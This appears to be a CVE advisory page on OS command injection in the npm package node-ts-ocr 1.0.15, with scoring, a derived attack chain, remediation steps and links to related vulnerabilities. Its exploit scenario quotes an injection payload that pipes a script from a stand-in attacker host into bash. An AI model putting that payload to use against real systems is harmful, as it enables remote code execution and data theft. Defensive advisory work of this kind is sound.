Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to application
-
DeliverySubmit crafted OCR request with command injection payload
-
ExploitinvokeImageOcr passes unsanitized input to shell
-
ExecutionExecute arbitrary OS commands
-
ImpactEstablish persistence or exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to have authenticated access to an application that exposes node-ts-ocr functionality through the invokeImageOcr function. The vulnerability is exploitable when authenticated users can control or influence parameters passed to OCR processing, specifically image file paths or configuration options that reach system command execution contexts. Network accessibility (AV:N) means exploitation can occur remotely without physical access. The low attack complexity (AC:L) indicates no special conditions or race conditions are required beyond the ability to supply crafted input to the OCR function. Exploitation is LIMITED by the PR:L requirement - the attacker must have valid credentials to reach the vulnerable code path, not just network access to the server. Applications where only administrative users or automated backend processes invoke OCR operations have significantly reduced exposure compared to scenarios where arbitrary authenticated users can trigger document processing. |
| Impact | The CVSS v3.1 score of 8.8 (High) reflects network-exploitable command injection requiring only low-privilege authentication (AV:N/AC:L/PR:L/UI:N) with complete system impact (C:H/I:H/A:H). However, real-world risk is moderated by several factors. EPSS score of 0.04% (12th percentile) indicates minimal observed exploitation activity in the wild, consistent with no CISA KEV listing. The SSVC framework assessment shows exploitation status is limited to POC availability with non-automatable exploitation and total technical impact, suggesting this requires manual targeting rather than mass scanning. The PR:L (low privilege required) requirement significantly reduces attack surface compared to unauthenticated vulnerabilities. Primary risk exists in scenarios where untrusted authenticated users can influence OCR processing parameters, such as multi-tenant SaaS applications, document processing APIs, or internal tools with broad user access. For applications where only administrative users trigger OCR operations, practical risk is substantially lower than the CVSS score suggests. The low EPSS despite high CVSS indicates this is a genuine vulnerability requiring remediation, but not an emergency-priority threat for most deployments. |
| Exploit ScenarioDerived | An authenticated user with low-level privileges submits a document processing request to a web application using node-ts-ocr for text extraction. The attacker crafts a malicious filename or OCR parameter containing shell metacharacters such as '; curl attacker.com/shell.sh | bash ;', which the invokeImageOcr function passes unsanitized to a system command execution function. The injected commands execute with the privileges of the Node.js application process, allowing the attacker to exfiltrate sensitive data, establish persistent backdoors, or pivot to other systems accessible from the compromised server. The publicly available proof-of-concept code demonstrates the exact injection vector and payload construction techniques. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Command injection in node-ts-ocr 1.0.15 enables authenticated attackers to execute arbitrary operating system commands through the invokeImageOcr function. The vulnerability requires low-complexity exploitation with no user interaction, allowing complete compromise of confidentiality, integrity, and availability on affected systems. Public proof-of-concept code exists (GitHub Gist), though EPSS assessment indicates 0.04% probability of active exploitation within 30 days and the vulnerability is not listed in CISA KEV, suggesting targeted rather than widespread exploitation risk.
RemediationAI
No vendor-released patch or updated version has been identified at the time of analysis. The node-ts-ocr NPM package repository should be monitored for security updates addressing this command injection vulnerability. As an immediate compensating control, implement strict input validation on all parameters passed to the invokeImageOcr function, specifically whitelisting allowed characters in file paths and rejecting any input containing shell metacharacters such as semicolons, pipes, backticks, dollar signs, or command substitution syntax. Deploy the application with principle of least privilege, ensuring the Node.js process runs under a restricted service account with minimal file system and network access to limit command injection impact. For high-risk environments, consider replacing node-ts-ocr with alternative OCR libraries that have active security maintenance or implement OCR processing in isolated sandboxed containers with no access to sensitive resources. Authentication boundaries should be strengthened to ensure only trusted users can trigger OCR operations, and application-level logging should capture all invocations of invokeImageOcr for forensic detection. Reference the proof-of-concept at https://gist.github.com/6en6ar/a2ac44da0f4e580190be3e66cfbb9a4a to understand the exact exploitation technique and test validation controls.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The node-ts-ocr NPM package is a TypeScript-based OCR (Optical Character Recognition) library for Node.js applications. This vulnerability stems from CWE-78 (OS Command Injection), where the invokeImageOcr function in src/index.js fails to properly sanitize user input before passing it to operating system command execution functions. In Node.js environments, this typically occurs through unsafe use of child_process.exec() or similar APIs that invoke system shells, allowing metacharacters in image file paths or OCR parameters to break out of intended command context and execute arbitrary commands. The affected CPE data is incomplete (cpe:2.3:a:n/a:n/a), but the NPM package reference confirms node-ts-ocr version 1.0.15 is the specific affected product.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (mitre) · only source for this CVE.
CVSS VectorVendor: mitre
Lifecycle Timeline
3DescriptionCVE.org
NPM package node-ts-ocr 1.0.15 is vulnerable to OS Command Injection via the invokeImageOcr function in src/index.js.
Executive ViewAI
Command injection vulnerability in node-ts-ocr 1.0.15 allows authenticated users to execute arbitrary system commands with high severity (CVSS 8.8), potentially compromising confidentiality, integrity, and availability of systems running this OCR library. Organizations using this package in production environments face risk of complete system compromise through low-complexity attacks requiring only valid credentials.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to systems running node-ts-ocr 1.0.15 using firewall rules and VPC isolation; (2) Implement strong access controls limiting authenticated user base and enforcing principle of least privilege; (3) Deploy runtime application monitoring/WAF rules blocking suspicious process execution patterns originating from OCR functions; (4) Run node-ts-ocr in sandboxed container with minimal OS privileges and disabled shell access; (5) Maintain audit logging of all invokeImageOcr function calls for forensic analysis.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
EUVD-2025-209722
GHSA-8jh2-3mw6-6pfm
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB